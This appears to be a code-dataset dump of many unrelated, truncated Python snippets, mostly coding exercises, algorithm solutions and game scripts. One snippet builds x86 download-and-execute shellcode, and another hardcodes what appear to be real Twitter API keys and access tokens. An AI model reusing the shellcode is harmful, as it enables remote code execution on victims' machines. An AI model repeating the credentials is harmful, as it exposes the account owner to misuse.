content
stringlengths
7
1.05M
class BaseAction(object): method: str = None args: list = [] kwargs: dict = {} def __repr__(self): return '<{} m={}, a={}, k={}>'.format( self.__class__.__name__, self.method, self.args, self.kwargs, ) class DatabaseAction(BaseAction): pass
try: unicode except NameError: basestring = unicode = str
class Solution: def subarraysWithKDistinct(self, nums: List[int], k: int) -> int: """ [1,2,1,2,3], k = 2 ^ ^ 0 1 2 3 [1,1,2,2,1,1], k = 2 ^ ^ 2 2 [1,1,2,1,1,1], k = 2 3 3 3 ...
#!/usr/bin/env python3 class Bit: HIGH = 1 LOW = 0 SHORT = -1 UNDEFINED = -2 def __init__(self, value=UNDEFINED): if value not in [Bit.HIGH, Bit.LOW, Bit.SHORT, Bit.UNDEFINED]: raise ValueError("Unknown Bit value given") self.value = value def get(self): i...
consumer_key = 'hD98CV5uD4rFVsYuBk8xAzpLd' consumer_secret = ' 3jrN58VAI6ZuyAmicMReMdmOPjM2o0WKaBz1FWzhFQ8TfNblkS' access_token = '81300781-vHqEdU2fgJLalyrFzsRscRAgb9zEZYC9giIzQgnoZ' access_token_secret = 'uliqVE0Ofv8sWfWGu97jUHKceLpQm8Ky4waVwKO5KzV2E'
with open("./fine_tuning_data/asTSV/1kmer_tsv_data/GM12878/GM12878_enhancer_te.tsv", "r") as f: en_samples = f.readlines() f.close() with open("./fine_tuning_data/asTSV/1kmer_tsv_data/GM12878/GM12878_promoter_te.tsv", "r") as f: pr_samples = f.readlines() f.close() with open("./fine_tuning_data/asTSV/1kmer_ts...
# Manual Labor # Constants LIMBERT = 1106002 EGG = 4033196 sm.setSpeakerID(LIMBERT) selection1 = sm.sendNext("Where's the eggs? I told you to get eggs. If you broke them... Wait a second, what happened to you?\r\n #b\r\n#L0# Uh, well, you know how you told me not to mess with Bigby? Well... I kinda... He got out.#l")...
#!/usr/bin/python2 print("content-type: text/html") print("") #print("hello") print(""" <a href='hdfs.py'> Hadoop </a> <br/> <a href='mapred.py'> MapReduce </a> """)
###Título: Função ###Descrição: Este programa é uma função que retorna o maior dos números ###Autor: Valmor Mantelli Jr. ###Data: 14/01/2018 ###Versão 0.0.1 ### Declaração de variáveis ### Entrada de dados ### Processamento de dados def mult (a,b): if a % b == 0: return True else: return False ### Saída ...
class Solution(object): def XXX(self, height): m,i,j = 0, 0, len(height)-1 while i != j: m = max(m, min(height[i],height[j])*(j-i)) if height[i] < height[j]: i += 1 else: j -= 1 return m
d={} i=0 c='y' while(c!=''): c=input() d[i]=c i=i+1 for j in range(0,i): if((j+1)%3==0): print(d[j])
BROKER_REL = 5 FACT_ST = 3.44 CORP_ST = 4.62 def broker_fee (broker_rel, fact_st, corp_st): return (1.000 - 0.050 * broker_rel) / 2 ** (0.1400 * fact_st + 0.06000 * corp_st) BROKER_FEE = broker_fee(BROKER_REL, FACT_ST, CORP_ST)/100 SELL_TAX= 0.75/100 def tax (buy, sell, vol, broker_fee = BROKER_FEE, sell_tax=S...
dna = input() print("A:", dna.count("A"), ", C:", dna.count("C"), ", G:", dna.count("G"), ", T:", dna.count("T")) ''' GitHub [https://github.com/Rodel-OL/python_class/blob/master/templates/Conta_Bases.py] NAME Conta_Bases.py VERSION [1.1] AUTHOR [Rodel-OL] <joserodelmar@gmail.com> [Other author...
""" 面试题38:字符串的排列 题目:输入一个字符串,打印出该字符串中字符的所有排列。 例: 输入:'abc' 输出:'abc', 'acb', 'bac', 'cab', 'cba' """ def string_permutation(string): """ :param string:string :return: permutation list """ def recursion_core(pre_s, string): """ :param pre_s: n-1 sol :param string: str waiting t...
""" @Yam 20190809 """ class Node: def __init__(self, name: str): self.name = name self.children = [] class MultiTree: def __init__(self, root="/"): self.root = Node(root) def build(self, lst): for p in lst: # f is file or folder list f = p.split("/"...
# -*- coding: utf-8 -*- featured_content_defaults = { 'heading': 'Featured content', 'body': ( 'Lorem ipsum dolor sit amet, ei ius adhuc inani iudico, labitur ' 'instructior ex pri. Cu pri inani constituto, cum aeque noster ' 'commodo cu.' ), 'links': [ { 'tex...
# nome = str(input('Digite o nome completo: ')) # # # # print('Todas maiúsculas: {}'.format(nome.upper())) # # print('Todas minúsculas: {}'.format(nome.lower())) # # nome2 = nome.split() # # junto = nome2[0]+nome2[1]+nome2[2] # # print('Comprimento de {} é: {}'.format(junto, len(junto))) # # primeiro = nome2[0] # # pri...
class TestClass: def __init__(self) -> None: self.__opt1 = 1 @property def opt1(self): '''this is a property doc''' return self.__opt1 help(TestClass.opt1) # Help on property: # this is a property doc
def downloadANDexecute( url, filename): shellcode = r"\x31\xc0\xb0\x02\xcd\x80\x31\xdb\x39\xd8\x74\x3b\x31\xc9\x31\xdb\x31\xc0\x6a\x05\x89\xe1\x89\xe1\x89\xe3\xb0\xa2\xcd\x80\x31\xc9\x31\xc0\x50\xb0\x0f" shellcode += filename shellcode += r"\x89\xe3\x31\xc9\x66\xb9\xff\x01\xcd\x80\x31\xc0\x50" shellcode += filename...
class Player: def __init__(self, btag, platform, soup): self.btag = btag self.platform = platform self.soup = soup def get_sr(self): """ Get the SR of this player. If SR isn't displayed on their profile, returns none. :rtype: integer ...
""" 516 medium longest palindromic subsequence Given a string s, find the longest palindromic subsequence's length in s. A subsequence is a sequence that can be derived from another sequence by deleting some or no elements without changing the order of the remaining elements. """ class Solution: def longestP...
def fac(num, show=False): """ -> calcula o fatorial de um numero ================================================== num = numero para calcular factorial show = True: mostra o precesso, False: não mostra ================================================== return = resultado do factorial e o p...
""" WAP to enter the numbers till the user wants and at the end the program should display the largest and smallest numbers entered. """ infinity = float('inf') smallest = infinity largest = -infinity while True: number = int(input('Number: \t')) if number > largest: largest = number if number < s...
N = int(input()) RES = {} def result(n, m, k): if (n, m, k) in RES: return RES[n, m, k] else: RES[n, m, k] = _result(n, m, k) return RES[n, m, k] def _result(n, m, k): if n == 0: return 1 else: s = 0 for l in range(1, n + 1): if (l - m) % ...
#!/usr/bin/python IMAGE_RESOLUTION = (640, 480) IMAGE_BYTE_SIZE = IMAGE_RESOLUTION[0] * IMAGE_RESOLUTION[1] * 3 GRAYSCALE_IMAGE_BYTE_SIZE = IMAGE_RESOLUTION[0] * IMAGE_RESOLUTION[1] IMAGE_DATA_SERVICE = 3380 DISCOVER_CAMERA_SERVICE = 3070 CAMERA_SERVICE = 3070 SERVICE_DISCOVER_REQU...
class graph: def __init__(self): self.vertices = {} self.depth = {} def add_node(self,myid): if myid in self.vertices: print("Node already added") else: self.vertices[myid] = set() self.depth[myid] = 0 def add_edge(self,id1,id2): se...
{ "includes": ["common.gypi"], "targets": [{ "target_name": "test-runner", "type": "executable", "include_dirs": ["deps/bandit", "test"], "includes": ["slimsig.gypi"], "sources": [ "test/test.cpp", # for ease of development "include/slimsig/slimsig.h", "include/slimsig/tracked_co...
# Кириллов Алексей, ИУ7-12 # 8 вариант: Для заданных x,y выдать принадлежность точки области try: x,y = map(float,input('Введите координаты точки: ').split()) except ValueError: print('Некорректный ввод!') else: # Проверка координат по четырём линиям, образующим област...
# -*- coding: utf-8 -*- """ main.py: Homework #6: Advanced Loops (Python Is Easy course by Pirple) Details: Create a function that takes in two parameters: rows, and columns, both of which are integers. The function should then proceed to draw a playing board (as in the examples from the lectures) the same number of...
# Converts lines in a csv file into sql statements file_path="C:/Users/MMZ/code/sample_python/csv-list.csv" output_path="C:/Users/MMZ/code/sample_python/sql_stats.sql" output_file = open(output_path, "w") with open(file_path,"r") as mfile: for row in mfile: # Parse each line in the CSV file as a row ...
def wait_for_enter(): input('Press [Enter] to continue... ') print() def print_with_step(context: dict, msg: str): print(f"{context['step_no']}. {msg}") def input_with_step(context: dict, msg: str) -> str: return input(f"{context['step_no']}. {msg}") class NameProjectStep(object): @staticmetho...
class Trainer(object): name = "" team = "" fav = "" caught_pokemon = "" def __init__(self, name): self.name = name
def plot_polynomial(file, function, p_x, x=None, formula=""): pass def plot_regression(file, x, y, prediction, groundtruth): pass
class Node: def __init__(self,data): self.data = data self.next = None def printlist( head): temp = head res = [] while(True) : res.append(f"{temp.data}") temp = temp.next if (temp == head): break return "-->".join(res) def deleteNode( head, key)...
""" SCHARP Tools http://www.github.com/LloydAlbin/SCHARP_Tools """ # Use of this source code is govered by a Apache2 atyle license that can be # found in the LICENSE file. __author__ = "Lloyd Albin (lalbin@fredhutch.org, lloyd@thealbins.com)" __version__ = "0.0.1" __copyright__ = "Copyright (C) 2019 Fred Hutchinson...
def isGood(listA, listB, k): n = len(listA) listA.sort() listB.sort(reverse=True) for i in range(n): if listA[i]+listB[i] < k: return False return True T = int(input().strip()) for i in range(T): [n, k] = [int(x) for x in input().strip().split()] listA = [int(x) for x in...
#Similar to arrays in JS #Indexed starting in 0 ninjas = ['Ryu', 'Scorpion', 'Ibuki'] my_list = ['4', ['list', 'in', 'a', 'list'], 987] empty_list = [] # In Python, the elements of a list do not have to be of the same data type fruits = ['apple', 'banana', 'orange', 'strawberry'] vegetables = ['lettuce', 'cucumber', '...
def missingWords(s, t): s = s.split(" ") t = t.split(" ") n = len(s) m = len(t) p_s = 0 p_t = 0 res = [] while p_t < m: while t[p_t] != s[p_s]: res.append(s[p_s]) p_s += 1 p_t += 1 while p_s < n: res.append(s[p_s]) p_s += 1 ...
# Created by MechAviv # Quest ID :: 34938 # Not coded yet sm.setSpeakerID(3001500) sm.setSpeakerType(3) sm.removeEscapeButton() sm.flipDialogue() sm.setBoxChat() sm.boxChatPlayerAsSpeaker() sm.setBoxOverrideSpeaker() sm.flipBoxChat() sm.flipBoxChatPlayerAsSpeaker() sm.setColor(1) sm.sendNext("#face5#All right, I'll be...
"""Given a 2D integer array nums where nums[i] is a non-empty array of distinct positive integers, return the list of integers that are present in each array of nums sorted in ascending order. Example 1: Input: nums = [[3,1,2,4,5],[1,2,3,4],[3,4,5,6]] Output: [3,4] Explanation: The only integers present in...
def check_extension(installed): def check(document): tr_item = document.find("tr", attrs={ "class": "item" }) td_name = tr_item.find("td", attrs={ "class": "name" }) testing.expect.check("Extension:", td_name.string) td_value = tr_item.find("td", attrs={ "class": "value" }) ...
h, w, n=map(int, input().split()) n-=1 if n%2==1: ans=(n-1)*w/2 else: n+=1 ans=0 i=1 while i<n: ans+=i i+=2 ans=ans*w/n*2 print(ans)
# One Away # O(n): AAG def OneAway(s1, s2): '''To Check If One String IS One Edit Away From Another Where Edit Can Be: Insert, Remove Or Replace ''' l1,l2 = len(s1),len(s2) if(l1==l2): return( sum([1 for i,j in zip(s1,s2) if i!=j]) <= 1) elif abs(l1-l2)==1: s1,s2 = (s...
""" 3.7 Dealing with multiple patterns – Aho-Corasick algorithm ----------------------------------------------------------- So far we have managed to solve the exact matching problem efficiently when we only need to search one pattern against a text. What happens, however, if we want to match multiple patterns against ...
"A simple set of tests" def testTrue(): "Thruth-iness test" assert True == 1 def testFalse(): "Fact-brication test" assert False == 0
class MatrixFactorization(object): def __init__(self, data, K): ''' Arguments: - data : 2 dimensional rating matrix - K : number of latent dimensions ''' self.R = np.matrix(data) self.D = np.zeros( self.R.shape ) self.K = K ...
class Url(object): def __init__(self, url, obj, name=None, namespace=None, namespace_descr=''): self.url = url self.obj = obj self.__name = name self.namespace = namespace self.namespace_descr = namespace_descr @property def name(self): return self.__name ...
# !/usr/bin/env python3 # Author: C.K # Email: theck17@163.com # DateTime:2021-09-12 11:58:12 # Description: class Solution: def reverseWords(self, s: str) -> str: word = "" words = "" s = s[::-1] for j, i in enumerate(s): if i != " " and word != "" and s[j - 1] == " ": ...
numero = int(input('Digite o número de termos da sequência de Fibonacci: ')) print('~~'*10) print('Sequência de Fibonacci') print('~~'*10) f1 = 0 f2 = 1 print('{}-{}'.format(f1, f2), end='-') cont = 2 while cont != numero: f3 = f1 + f2 print('{}'.format(f3), end='-') f1 = f2 f2 = f3 cont = cont + 1 ...
m, n, l = map(int, input().split()) shooters = list(map(int, input().split())) animals = [] for _ in range(n): x, y = map(int, input().split()) if y <= l: animals.append((x, y)) shooters.sort() animals.sort(key=lambda axis: axis[0]) ans = 0 idx = 0 for i in range(len(animals)): left, right = idx, le...
def nothing(*args, **kwargs): pass def printer(result, description='Profile results', **kwargs): if kwargs: details = ' ' + str(kwargs) else: details = '' print(description+details, ':', result) _DEFAULT_CLB = printer def default(*args, **kwargs): """ Default callback, can be set ...
# -*- coding: utf-8 -*- """ @author: xingxingzaixian @create: 2020/9/6 @description: """
# -*- coding: utf-8 -*- """ Deployment settings All settings which are typically edited for a deployment should be done here Deployers shouldn't typically need to edit any other files. NOTE FOR DEVELOPERS: /models/000_config.py is NOT in the BZR repository, as this file will be changed during d...
class Queue(object): 'Queue' def __init__(self, build): self.data = [build] print("Stack :", self.data) def enqueue(self, new): self.data.append(new) print("Stack :", self.data) def dequeue(self): out = self.data.pop(0) print("Stack :", self.data) ...
# # PySNMP MIB module CISCO-SESS-BORDER-CTRLR-STATS-MIB (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/CISCO-SESS-BORDER-CTRLR-STATS-MIB # Produced by pysmi-0.3.4 at Mon Apr 29 17:55:14 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using P...
def main(): cases = int(input()) for _ in range(cases): candidates = int(input()) votes = [] for _ in range(candidates): votes.append(int(input())) # if majority is found, print the candidate if (max(votes) > sum(votes) / 2): print(f"majority winn...
def appstr(s, a): """Safe appending strings.""" try: return s + a except: return None
"""Init file for bimmer_connected.""" #import pkg_resources # part of setuptools #__version__ = pkg_resources.get_distribution("bimmer_connected").version
""" Test script for business logic. """ def get_state(cell_id): state = [[0, 0, 0], [0, 0, 0], [0, 0, 0]] binary = '{0:09b}'.format(cell_id) index = 0 for char in binary: state[index // 3][index % 3] = int(char) index += 1 return state def get_id(state): cell_id = 0 expon...
#tupla de zero a vinte (por extenso), usuario escolhe um numero e ele será escrito #ppor extenso numero = ("zero", "um", "dois", "três", "quatro", "cinco", "seis", "sete", "oito", "nove", "dez") cont="" while cont not in range(0,10+1): cont = int(input("Digite um numero entre 0 e 10: ")) print("o numero ...
# Copyright 2015 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable la...
class Solution: def __init__(self): self.arr = [0] * (3 * int(1e4)) def findDuplicate(self, nums: List[int]) -> int: for i in range (len(nums)): self.arr[nums[i]] = self.arr[nums[i]] + 1 if self.arr[nums[i]] == 2: return nums[i] retur...
# Copyright 2019 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, ...
"""677. Map Sum Pairs https://leetcode.com/problems/map-sum-pairs/ """ class MapSum: def __init__(self): self.store = dict() def insert(self, key: str, val: int) -> None: self.store[key] = val def sum(self, prefix: str) -> int: ret = 0 for k, v in self.store.items(): ...
#!/usr/bin/env python3 #Antonio Karlo Mijares def read_file_string(file_name): # Takes a filename string, returns a string of all lines in the file f = open(file_name, 'r') read = f.read() return read def read_file_list(file_name): # Takes a filename string, returns a list of lines without new-l...
"""Declare namespace packages.""" try: __import__('pkg_resources').declare_namespace(__name__) except ImportError: __path__ = __import__('pkgutil').extend_path(__path__, __name__)
# coding: utf-8 ''' Created on 20.03.2013 @author: кей ''' def _purge_one_sentence(one_sentence): """ Обработка для дробления на слова. Args: Единица контента Returns: Чистый набор слов, разделыенных пробелами """ if one_sentence[0] == ' ': one_sentence = one_s...
{ "targets": [ { "target_name": "node-runtime-stats", "sources": [ "lib/nativeStats.cc" ], "include_dirs": [ "<!(node -e \"require('nan')\")" ], } ] }
print("Tejaswi") print("AM.EN.U4ECE18038") print("ECE") print("marvel roxx")
#!/usr/bin/env python # -*- coding: utf-8 -*- """ 功能实现:通过将列表中的元素扩展到一个新的列表中,使列表变平。 解读: 循环遍历元素,如果元素是列表则使用list.extend(),否则使用list.append()。 """ def spread(arg): ret = [] for i in arg: ret.extend(i) if isinstance(i, list) else ret.append(i) return ret # Examples print(spread([1, 2, 3, [4, 5, 6], [7...
def get_first_of_type(iterable, type_): # pragma: no cover return next(i for i in iterable if isinstance(i, type_)) def get_values_of_type(iterable, type_): return (i for i in iterable if isinstance(i, type_))
APPLICATION = { "workspaces" : [{"id":1, "name":"WS-1", "dir":"d:/quark/WS-1"}, {"id":2, "name":"WS-2", "dir":"d:/quark/WS-2"}, {"id":3, "name":"WS-3", "dir":"d:/quark/WS-3"}], "user": { "name" : "John Doe", "email" : "john@doe.com" }, "repo_l...
""" 2460 : 지능형 기차 2 URL : https://www.acmicpc.net/problem/2460 Input : 0 32 3 13 28 25 17 5 21 20 11 0 12 12 4 2 0 8 21 0 Output : 42 """ n = 0 n_max = 0 for _ in range(10): n_out, n_in = map(int, input().split...
secret = "1537" anzahl = 0 anzahlf = 0 raten = "" found = "" #will contain the positions of found numbers, to make sure that one number isn't found twice while not raten == secret: raten = input('Errate die vierstellige Ziffer: ') for i in range(4): if secret[i] == raten[i]: #print( 'Die ' + str(i+1...
class ZigbeeMessage: def __init__(self, message): self.raw = message def get_signal_level(self): if ('linkquality' in self.raw): return int(int(self.raw['linkquality']) * 11 / 255) else: return None def get_battery_level(self): if ('battery' in self....
#!/usr/bin/python2.4 # Copyright 2010 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required ...
puppy_name = 'Charlie' pico_ingredients = ['tomatoes', 'jalapeño peppers', 'onions', 'lime juice', 'salt'] charlie = {'type': 'puppy', 'months': 8, 'name': puppy_name}
f = str(input('Digite uma frase: ')) f = f.replace(" ", "") print(f) i = f [::-1] print(i) if f == i: print('Esta frase é um PALINDROMO') else: print('Esta frase NÃO é um palindromo')
random_keys = {} random_keys["astring"] = "somestring" random_keys[5] = "aninteger" random_keys[25.2] = "floats work too" random_keys[("abc", 123)] = "so do tuples" class AnObject: def __init__(self, avalue): self.avalue = avalue my_object = AnObject(14) random_keys[my_object] = "We can even store object...
class artist(): name=None date=None area=None type=None gender=None score=None def __init__(self,ar,da,na,ge,ty,sc): self.name=na self.date=da self.area=ar self.type=ty self.gender=ge self.score=sc def __str__(self): return "[{...
"""Base class for the "modules" of FavaLedger.""" class FavaModule: """Base class for the "modules" of FavaLedger.""" def __init__(self, ledger): self.ledger = ledger def load_file(self): """Gets called when the file has been (re)loaded."""
# -*- coding: utf-8 -*- # @Author : LG """ 执行用时:608 ms, 在所有 Python3 提交中击败了71.12% 的用户 内存消耗:14.3 MB, 在所有 Python3 提交中击败了80.08% 的用户 解题思路: 动态规划。 参考了网站提供的思路 https://leetcode-cn.com/problems/guess-number-higher-or-lower-ii/solution/pythondong-tai-gui-hua-xiao-bai-ling-ji-chu-jiao-2/ 1 2 3 4 5 6 7 ...
columns = { 'CreatedAt': 'createdAt', 'UpdatedAt': 'updatedAt', '_id': '_id', 'Name': 'name', 'Ref': 'ref', 'RefId': 'refId', 'RefIndustryId': 'refIndustryId', 'State': 'state', 'Ticker': 'ticker', '__v': '__v', 'StatsLastSyncedFilingsAt': 'stats.lastSyncedFilingsAt', 'St...
def main(self): self.data["totalScore"] = 0 self.data["streak"] = 0 self.data["rank"] = 1 def GameResetHandler(): self.data["totalScore"] = 0 self.data["rank"] = 0 self.data["streak"] = 0 self.quiz = None self.on("GameReset",GameResetHandler) def QuestionStartHand...
class TestClass: def __init__(self): self.a = "text" self.b = 39 self.c = 42.8 self.d = 0b01100001 self.el = [1, 2, 3, 4] self.fd = {'a': 1, 'b': "text", 'c': 3.5, 'd': 0b01100011} TestDict = { 'a': 1, 'b': "text", 'c': 3.5, 'd': 0b01100011, "el": [1, 2, 3, 4], "fd": {'ia': 1, 'ib': "text", 'ic':...
#!/usr/bin/python # -*- coding: utf-8 -*- # Файл с функциями для menuelement # Для выхода из игры: want_exit = False def get_want_exit(**kwargs): global want_exit return want_exit def quit(**kwargs): global want_exit want_exit = True #. # Смена меню def change_menu_focus(**kwargs): kwargs['self'].menu_focus = k...
# -*- coding: utf-8 -*- """CircBase - circular non-protein coding RNAs. .. seealso: http://www.circbase.org/cgi-bin/downloads.cgi """
def func01(): print("module01 - func01") def func02(): print("module01 - func02")
#! /usr/bin/python3 # -*- coding: utf-8 -*- #================================================================================= # author: Chancerel Codjovi (aka codrelphi) # date: 2019-09-21 # source: https://www.hackerrank.com/challenges/python-mutations/problem #========================================================...
''' Area() function write a program that inputs base and height of a triangle in main program and passes them to a function called area(b, h). b = base, h = height. The function finds the area of triangle and returns it to main program. The area should be displayed on the screen. Area = 1/2*bas...
class HashMap: def __init__(self, array_size): self.array_size = array_size self.array = [None for i in range(self.array_size)] def hash(self, key, collisions=0): key_bytes = str(key).encode() hash_code = sum(key_bytes) return hash_code + collisions def compressor(...
def test_get_persons(client): rs = client.get("/person/") assert rs.status_code == 200 all_persons = rs.json assert len(all_persons) > 0 selected_person = all_persons[0] rs = client.get("/person/" + str(selected_person['id'])) assert rs.status_code == 200 person = rs.json assert p...
class Card: def confirmation_card(question, action, confirmation_item, message_to_confirm): confirmation_card = { "cards": [{ "header": { "title": "Iago", "subtitle": "Confirmation !", "imageUrl": "https://iago.aliction.com/avatar.png", "imageStyle...
""" Reusing the function created earlier in the tasks """ def readAllRecords(): file = open("MoviesData.txt", "r") allMovies = file.readlines() file.close() return allMovies """ Task 4a Write a function higestRated2012() that displays the names of highest rated animated movie of 2012. """ def hi...
# number: integer age = 20 # number: float (decimals e.g. 1.23) price = 100.13 #String: can be defined with single or double quotes msg = ' Hello world!' msg2 = "Hello world!" #Hello world with a variable print(msg) #Concatenation (combining strings) firstName = 'albert' lastName = 'einstein' fullName = firstNam...
x3d = { 'aliceblue': '0.941 0.973 1.000', 'antiquewhite': '0.980 0.922 0.843', 'aqua': '0.000 1.000 1.000', 'aquamarine': '0.498 1.000 0.831', 'azure': '0.941 1.000 1.000', 'beige': '0.961 0.961 0.863', 'bisque': ...
# Apresentação print('Programa para solicitar valores únicos e ordená-los') print() # Declara o vetor e solicita os valores valores = list() while (len(valores) < 16): # Solicita um valor valor_temporario = int(input('Informe um número inteiro: ')) # Verifica se o valor já existe na lista; se não existe,...
# -*- coding: utf-8 -*- #!/usr/bin/env python collation_columns = ['English term', 'Phonemic', 'GamWin', 'Lakhum PUA', 'Unicode char names'] # PUA to Unicode here. tangsa_PUA_to_Unicode = { '\uE400': '\ud81a\ude70', '\uE401': '\ud81a\ude71', '\uE402': '\ud81a\ude72', '\uE403': '\ud81a\ude73', '\uE404': '\ud...
__author__="ijt3cd" if __name__ == '__main__': print("more junk")
################################################################################ # Code for customer-made holders and sample stages, # Samples include : # 1. SampleTSAXS_Generic : TSAXS/TWAXS # 2. SampleGISAXS_Generic : GISAXS/GIWAXS # 3. SampleXR_WAXS : XR and th-2th scan # 4. SampleCDSAXS_Generic : CD SAXS/GISAXS #...